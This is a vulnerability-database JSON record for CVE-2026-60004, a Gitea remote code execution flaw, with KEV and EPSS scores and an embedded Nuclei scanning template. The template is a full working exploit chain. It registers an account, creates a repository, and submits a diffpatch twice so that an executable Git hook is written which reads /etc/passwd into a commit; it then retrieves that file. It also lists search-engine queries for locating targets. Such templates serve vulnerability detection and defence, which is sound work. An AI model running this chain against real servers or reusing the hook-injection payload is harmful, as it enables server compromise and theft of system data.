{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-60004/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-60004/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-60004/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-60004/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-60004/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-60004"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-60004"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.86777,
      "kev": true,
      "percentile": 0.99735
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-60004.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-60004\n\ninfo:\n  name: Gitea <= 1.27.0 - Pre-Auth Remote Code Execution\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.\n  impact: |\n    Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.\n  remediation: |\n    Update to Gitea version 1.27.1 or later.\n  reference:\n    - https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m\n    - https://github.com/EQSTLab/CVE-2026-60004\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-60004\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-60004\n    epss-score: 0.86777\n    epss-percentile: 0.99735\n    cwe-id: CWE-94\n  metadata:\n    max-request: 9\n    verified: true\n    vendor: go-gitea\n    product: gitea\n    shodan-query: \"Gitea\"\n    fofa-query: app=\"Gitea\"\n  tags: cve,cve2026,gitea,rce,intrusive,kev,vkev\n\nvariables:\n  ruser: \"testpoc{{rand_int(10000,99999)}}\"\n  rpass: \"T3stP0c!{{rand_int(10000,99999)}}\"\n  remail: \"testpoc{{rand_int(10000,99999)}}@test.local\"\n  rrepo: \"poc-{{rand_int(10000,99999)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)\n\nhttp:\n  - raw:\n      - |\n        GET /user/sign_up HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"user_name\") || contains(body, \"sign_up\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf\n        part: body\n        group: 1\n        regex:\n          - 'name=\"_csrf\"\\s+content=\"([^\"]+)\"'\n          - 'name=\"_csrf\"\\s+value=\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /user/sign_up HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302 || status_code == 303'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/user/repos HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n        {\"name\":\"{{rrepo}}\",\"private\":true,\"auto_init\":true,\"default_branch\":\"main\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'len(branch_sha) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: branch_sha\n        json:\n          - '.commit.id'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n        {\"content\": \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\nnew file mode 100755\\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\\n--- /dev/null\\n+++ b/hooks/post-index-change\\n@@ -0,0 +1,14 @@\\n+#!/bin/sh\\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n+origin_objects=$(sed -n \\\"1p\\\" \\\"$git_dir/objects/info/alternates\\\") || exit 2\\n+case \\\"$origin_objects\\\" in\\n+  /*) ;;\\n+  *) origin_objects=\\\"$git_dir/objects/$origin_objects\\\" ;;\\n+esac\\n+origin_git=${origin_objects%/objects}\\n+[ \\\"$origin_git\\\" != \\\"$origin_objects\\\" ] || exit 3\\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\\\"$origin_git\\\" hash-object -w --stdin) || exit 4\\n+tree=$(printf \\\"100644 blob %s\\\\\\\\tproof\\\\\\\\n\\\" \\\"$output_blob\\\" | git --git-dir=\\\"$origin_git\\\" mktree) || exit 5\\n+commit=$(printf \\\"rce proof\\\\\\\\n\\\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\\\"$origin_git\\\" commit-tree \\\"$tree\\\") || exit 6\\n+git --git-dir=\\\"$origin_git\\\" update-ref refs/heads/rce-proof \\\"$commit\\\" || exit 7\\n+exit 0\\n\", \"message\": \"apply-1\", \"branch\": \"main\", \"sha\": \"{{branch_sha}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n          - 'len(commit_sha1) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: commit_sha1\n        json:\n          - '.commit.sha'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n        {\"content\": \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\nnew file mode 100755\\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\\n--- /dev/null\\n+++ b/hooks/post-index-change\\n@@ -0,0 +1,14 @@\\n+#!/bin/sh\\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n+origin_objects=$(sed -n \\\"1p\\\" \\\"$git_dir/objects/info/alternates\\\") || exit 2\\n+case \\\"$origin_objects\\\" in\\n+  /*) ;;\\n+  *) origin_objects=\\\"$git_dir/objects/$origin_objects\\\" ;;\\n+esac\\n+origin_git=${origin_objects%/objects}\\n+[ \\\"$origin_git\\\" != \\\"$origin_objects\\\" ] || exit 3\\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\\\"$origin_git\\\" hash-object -w --stdin) || exit 4\\n+tree=$(printf \\\"100644 blob %s\\\\\\\\tproof\\\\\\\\n\\\" \\\"$output_blob\\\" | git --git-dir=\\\"$origin_git\\\" mktree) || exit 5\\n+commit=$(printf \\\"rce proof\\\\\\\\n\\\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\\\"$origin_git\\\" commit-tree \\\"$tree\\\") || exit 6\\n+git --git-dir=\\\"$origin_git\\\" update-ref refs/heads/rce-proof \\\"$commit\\\" || exit 7\\n+exit 0\\n\", \"message\": \"apply-2\", \"branch\": \"main\", \"sha\": \"{{commit_sha1}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"root:\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"CVE-2026-60004 RCE | Gitea | /etc/passwd: \" + body'\n# digest: 4a0a00473045022100de932e970b8d593041f7836d99f524df08f2575a05691e142495f9c5760c241002200af8edd029115f04ff2fa4af47a3534cd7443f62f2115ac006b0676d955358eb:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-60004"
}